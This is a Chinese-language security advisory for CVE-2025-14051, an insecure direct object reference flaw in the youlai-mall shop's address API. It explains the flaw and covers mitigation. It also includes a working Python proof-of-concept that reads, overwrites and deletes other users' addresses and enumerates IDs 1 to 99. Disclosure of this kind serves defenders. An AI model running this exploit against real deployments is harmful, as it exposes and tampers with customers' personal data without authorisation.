IPBUF安全漏洞报告
English
CVE-2025-14051 CVSS 6.3 中危

CVE-2025-14051 youlai-mall 地址管理IDOR漏洞

披露日期: 2025-12-04

漏洞信息

漏洞编号
CVE-2025-14051
漏洞类型
不安全的直接对象引用(IDOR)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
youlaitech youlai-mall

相关标签

IDOR不安全的直接对象引用越权访问youlai-mallyoulaitech地址管理API安全访问控制CVE-2025-14051电商系统

漏洞概述

CVE-2025-14051是youlaitech公司开发的youlai-mall电商系统中存在的一个中等严重性安全漏洞。该漏洞位于mall-ums模块的地址管理API接口中,具体影响/mall-ums/app-api/v1/addresses/路径下的getById、updateAddress和deleteAddress三个核心功能函数。漏洞根源在于应用程序对用户提交的动态标识变量(如地址ID)缺乏有效的访问控制验证,导致低权限攻击者能够通过操纵这些标识符来访问、修改或删除其他用户的地址信息。此漏洞可被远程利用,无需用户交互,但需要攻击者拥有一定的系统访问权限(低权限)。由于该漏洞的利用代码已被公开披露,攻击门槛较低,建议受影响用户尽快采取修复措施。

技术细节

该漏洞属于经典的Insecure Direct Object Reference(IDOR)类型,即不安全的直接对象引用。漏洞存在于youlai-mall的地址管理模块中,攻击者可以通过API接口直接操控地址ID参数来实现越权操作。具体来说:1) getById函数允许通过传入任意地址ID来查询该地址的详细信息,而未验证该地址是否属于当前登录用户;2) updateAddress函数允许修改指定ID的地址信息,攻击者可修改他人地址;3) deleteAddress函数允许删除指定ID的地址,导致拒绝服务。攻击者通过BurpSuite等工具拦截正常请求,修改addressId参数为目标用户的地址ID,即可完成未授权访问。由于系统使用简单的数字ID作为地址标识符,且后端未进行所有权验证,使得攻击者可以枚举和操控任意地址。

攻击链分析

STEP 1
步骤1
攻击者注册youlai-mall系统账号,获取低权限用户账户
STEP 2
步骤2
攻击者登录系统,正常访问自己的地址管理功能,抓取HTTP请求
STEP 3
步骤3
使用BurpSuite等代理工具拦截地址查询/修改/删除请求
STEP 4
步骤4
修改请求中的addressId参数值为目标地址ID(可枚举遍历)
STEP 5
步骤5
发送修改后的请求,后端未验证地址所有权,直接返回或操作目标地址
STEP 6
步骤6
攻击者成功获取其他用户地址信息或修改/删除其地址

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-14051 PoC - youlai-mall IDOR in Address Management # Target: youlaitech youlai-mall 1.0.0/2.0.0 BASE_URL = "http://target-server.com" TARGET_API = "/mall-ums/app-api/v1/addresses" # Authentication (low privilege account required) LOGIN_URL = f"{BASE_URL}/mall-ums/app-api/v1/login" login_data = { "username": "[email protected]", "password": "password123" } def get_auth_token(): """Obtain authentication token""" response = requests.post(LOGIN_URL, json=login_data) if response.status_code == 200: return response.json().get("data", {}).get("token") return None def exploit_get_address(token, target_address_id): """IDOR - Read other user's address""" headers = {"Authorization": f"Bearer {token}"} url = f"{BASE_URL}{TARGET_API}/getById" params = {"id": target_address_id} response = requests.get(url, headers=headers, params=params) print(f"[*] Get Address ID {target_address_id}: {response.json()}") return response.json() def exploit_update_address(token, target_address_id): """IDOR - Modify other user's address""" headers = {"Authorization": f"Bearer {token}"} url = f"{BASE_URL}{TARGET_API}/updateAddress" payload = { "id": target_address_id, "address": "Hacked Address", "phone": "1234567890", "consignee": "Attacker" } response = requests.put(url, headers=headers, json=payload) print(f"[*] Update Address ID {target_address_id}: {response.status_code}") return response def exploit_delete_address(token, target_address_id): """IDOR - Delete other user's address""" headers = {"Authorization": f"Bearer {token}"} url = f"{BASE_URL}{TARGET_API}/deleteAddress" params = {"id": target_address_id} response = requests.delete(url, headers=headers, params=params) print(f"[*] Delete Address ID {target_address_id}: {response.status_code}") return response if __name__ == "__main__": token = get_auth_token() if token: # Enumerate and exploit address IDs for addr_id in range(1, 100): exploit_get_address(token, addr_id)

影响范围

youlaitech youlai-mall 1.0.0
youlaitech youlai-mall 2.0.0

防御指南

临时缓解措施
在等待官方修复期间,可通过配置Web应用防火墙(WAF)规则限制异常的地址ID访问模式,启用请求频率限制防止枚举攻击,对API接口实施额外的身份验证层,以及启用详细的访问审计日志以便及时发现和响应潜在的攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表